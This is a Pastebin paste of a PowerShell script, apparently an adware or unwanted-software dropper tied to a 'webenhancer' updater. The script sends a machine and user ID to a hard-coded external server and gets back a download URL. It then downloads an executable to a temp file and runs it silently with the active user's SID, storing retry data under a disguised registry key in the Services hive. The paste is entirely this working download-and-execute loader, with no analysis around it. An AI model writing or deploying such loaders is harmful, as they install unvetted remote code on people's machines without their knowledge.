Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $SERVER_ADDRESS = "http://www.technologietrudeau.com/webenhancer/updateTask?v=n11.6.1.77&os_mj=6&os_mn=1&os_bitness=64&mid=8526753d4ed324c0f05c9e7165dccff4&uid=276AA6DD5971F721D5A976367FC4EA10&aid=4770&aid2=none&ts=1467441801&ts2="
- $FILES_TO_TEST = "c:\program files\aa545134df2a16ba33647c8e419b007f\269347f49726efd8700a2b9b3661aac9.exe",,"c:\program files\aa545134df2a16ba33647c8e419b007f\19380d9d89f66d11a1ffd9da3979e980.exe"
- $RETRY_REGISTRY_KEY = "HKLM:\SYSTEM\CurrentControlSet\Services\3e68103aa9897e37df61af5305e1e11e"
- $RETRY_COUNT_VALUE = "phqgh"
- $RETRY_VERSION_VALUE = "umeay"
- #
- # All of the following variables are generated at runtime
- #
- # $SERVER_ADDRESS
- # $FILES_TO_TEST
- # $RETRY_REGISTRY_KEY
- # $RETRY_COUNT_VALUE
- # $RETRY_VERSION_VALUE
- $TEMP_FILE = [System.IO.Path]::GetTempFileName() + ".exe"
- $INSTALLER_DOWNLOAD_URL = ""
- $RETRY_COUNT = 0
- $RETRY_VERSION = ""
- $ACTIVE_SID = ""
- function WriteDebugInfoToRegistry( $value, $message )
- {
- if(!(Test-Path $RETRY_REGISTRY_KEY))
- {
- New-Item -Path $RETRY_REGISTRY_KEY -Force | Out-Null
- }
- if(!((Get-ItemProperty $RETRY_REGISTRY_KEY -Name $value -ea 0).$value))
- {
- New-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $value -PropertyType String -Value $message
- }
- else
- {
- Set-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $value -Value $message
- }
- }
- function GetCurrentUserSID( $ACTIVE_SID )
- {
- $current_user = Gwmi Win32_ComputerSystem -Comp "."
- write-host $current_user.Name
- write-host $current_user.UserName
- $user_name = $current_user.UserName
- if([string]::IsNullOrEmpty($user_name))
- {
- $user_name = query user /server:localhost 2>&1 | select -skip 1
- $user_name = $user_name.Trim()
- write-host $user_name
- $user_name = ($user_name.split(" ", 2))[0]
- $user_name = $user_name.Trim()
- write-host $user_name
- if(![string]::IsNullOrEmpty($current_user.Name))
- {
- $user_name = $current_user.Name + "\" + $user_name
- write-host $user_name
- }
- }
- Try
- {
- $user_account = New-Object System.Security.Principal.NTAccount($user_name)
- $user_sid = $user_account.Translate([System.Security.Principal.SecurityIdentifier])
- }
- Catch
- {
- write-host $_.Exception.Message
- WriteDebugInfoToRegistry "SID" $_.Exception.Message
- ExitWithCode 600
- }
- if([string]::IsNullOrEmpty($user_sid.Value))
- {
- WriteDebugInfoToRegistry "SID" "SID cannot be determined!"
- ExitWithCode 600
- }
- write-host "SID:" $user_sid.Value
- $script:ACTIVE_SID = $user_sid.Value
- WriteDebugInfoToRegistry "SID" $script:ACTIVE_SID
- }
- function ExitWithCode
- {
- param
- (
- $exitcode
- )
- $host.SetShouldExit($exitcode)
- exit $exitcode
- }
- function GetRetryParameters($RETRY_VERSION, $RETRY_COUNT)
- {
- if(!(Test-Path $RETRY_REGISTRY_KEY))
- {
- return $false
- }
- if(!((Get-ItemProperty $RETRY_REGISTRY_KEY -Name $RETRY_VERSION_VALUE -ea 0).$RETRY_VERSION_VALUE))
- {
- return $false
- }
- $script:RETRY_VERSION = (Get-ItemProperty $RETRY_REGISTRY_KEY $RETRY_VERSION_VALUE).$RETRY_VERSION_VALUE
- $script:RETRY_COUNT = (Get-ItemProperty $RETRY_REGISTRY_KEY $RETRY_COUNT_VALUE).$RETRY_COUNT_VALUE
- $script:RETRY_COUNT = $script:RETRY_COUNT + 1
- Set-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_COUNT_VALUE -Value $script:RETRY_COUNT
- return $true
- }
- function SetRetryParameters($retry_version)
- {
- if(!(Test-Path $RETRY_REGISTRY_KEY))
- {
- New-Item -Path $RETRY_REGISTRY_KEY -Force | Out-Null
- New-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_VERSION_VALUE -PropertyType String -Value $retry_version
- New-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_COUNT_VALUE -PropertyType DWord -Value 0
- return
- }
- if(!((Get-ItemProperty $RETRY_REGISTRY_KEY -Name $RETRY_VERSION_VALUE -ea 0).$RETRY_VERSION_VALUE))
- {
- New-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_VERSION_VALUE -PropertyType String -Value $retry_version
- Set-ItemProperty -Path $RETRY_REGISTRY_KEY -Name $RETRY_COUNT_VALUE -Value 0
- }
- }
- function DeleteRetryParameters()
- {
- if((Test-Path $RETRY_REGISTRY_KEY))
- {
- Remove-Item -Path $RETRY_REGISTRY_KEY -Recurse
- }
- }
- function VerifyInstalled
- {
- foreach($file in $FILES_TO_TEST)
- {
- $exists = Test-Path -path $file
- if(!$exists)
- {
- return $false
- }
- }
- DeleteRetryParameters
- return $true
- }
- function DownloadInstallerInfo($url, $INSTALLER_DOWNLOAD_URL)
- {
- $qualified_url = ""
- if( GetRetryParameters $RETRY_VERSION $RETRY_COUNT )
- {
- $qualified_url = [string]::Format("{0}&retry_count={1}&retry_version={2}", $url, $RETRY_COUNT, $RETRY_VERSION)
- }
- else
- {
- $qualified_url = [string]::Format("{0}&retry_count=&retry_version=", $url)
- }
- Try
- {
- if( $PSVersionTable.PSVersion.Major -ge 3 )
- {
- $file_info = Invoke-RestMethod $qualified_url
- write-host $file_info
- write-host $file_info.download_url
- write-host $file_info.version
- $script:INSTALLER_DOWNLOAD_URL = $file_info.download_url
- SetRetryParameters $file_info.version
- }
- else
- {
- $json_file = [System.IO.Path]::GetTempFileName()
- if( DownloadFile $qualified_url $json_file )
- {
- $raw_json = (Get-Content $json_file).ToString();
- write-host $raw_json
- $token = "`"download_url`"`:", "`"version`"`:"
- $option = [System.StringSplitOptions]::RemoveEmptyEntries
- $result = [String] $raw_json.Split($token, $option)
- Write-Host $result
- $result = $result -replace '[{ }]',""
- $result = $result -replace '\\',""
- $result = $result -replace '"',""
- Write-Host $result
- $download_url, $version = $result.Split(",", 2, $option)
- $download_url = $download_url.Trim()
- $version = $version.Trim()
- Write-Host $download_url
- Write-Host $version
- $script:INSTALLER_DOWNLOAD_URL = $download_url
- SetRetryParameters $version
- Remove-Item $json_file
- }
- else
- {
- return $false
- }
- }
- }
- Catch [System.Net.WebException]
- {
- write-host $_.Exception.Message
- WriteDebugInfoToRegistry "DownloadInstallerInfo" $_.Exception.Message
- ExitWithCode 100
- }
- Catch
- {
- write-host $_.Exception.Message
- WriteDebugInfoToRegistry "DownloadInstallerInfo" $_.Exception.Message
- ExitWithCode 200
- }
- return $true
- }
- function DownloadFile($url, $temp_file)
- {
- Try
- {
- write-host $url
- if( $PSVersionTable.PSVersion.Major -ge 3 )
- {
- Invoke-WebRequest $url -OutFile $temp_file
- }
- else
- {
- $wc = New-Object System.Net.WebClient
- $wc.DownloadFile($url, $temp_file)
- }
- }
- Catch [System.Net.WebException]
- {
- write-host $_.Exception.Message
- WriteDebugInfoToRegistry "DownloadFile" $_.Exception.Message
- ExitWithCode 300
- }
- Catch
- {
- write-host $_.Exception.Message
- WriteDebugInfoToRegistry "DownloadFile" $_.Exception.Message
- ExitWithCode 400
- }
- return $true
- }
- write-host "Version: " $PSVersionTable.PSVersion.Major.ToString()
- if(VerifyInstalled)
- {
- ExitWithCode 1
- }
- if(!(DownloadInstallerInfo $SERVER_ADDRESS $INSTALLER_DOWNLOAD_URL))
- {
- ExitWithCode 2
- }
- if(!(DownloadFile $INSTALLER_DOWNLOAD_URL $TEMP_FILE))
- {
- ExitWithCode 3
- }
- if(0 -lt (Get-Item $TEMP_FILE).length)
- {
- write-host $TEMP_FILE
- GetCurrentUserSID $ACTIVE_SID
- $arguments = "/S /UPDATE /UPDATE_FROM_NDI /SID " + $ACTIVE_SID
- write-host $arguments
- WriteDebugInfoToRegistry "CommanLine" $arguments
- Try
- {
- Start-Process $TEMP_FILE $arguments -Wait -NoNewWindow
- }
- Catch
- {
- write-host $_.Exception.Message
- WriteDebugInfoToRegistry "Start-Process" $_.Exception.Message
- ExitWithCode 500
- }
- }
- Remove-Item $TEMP_FILE
- ExitWithCode 99 # He shoots! He scores!!!
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement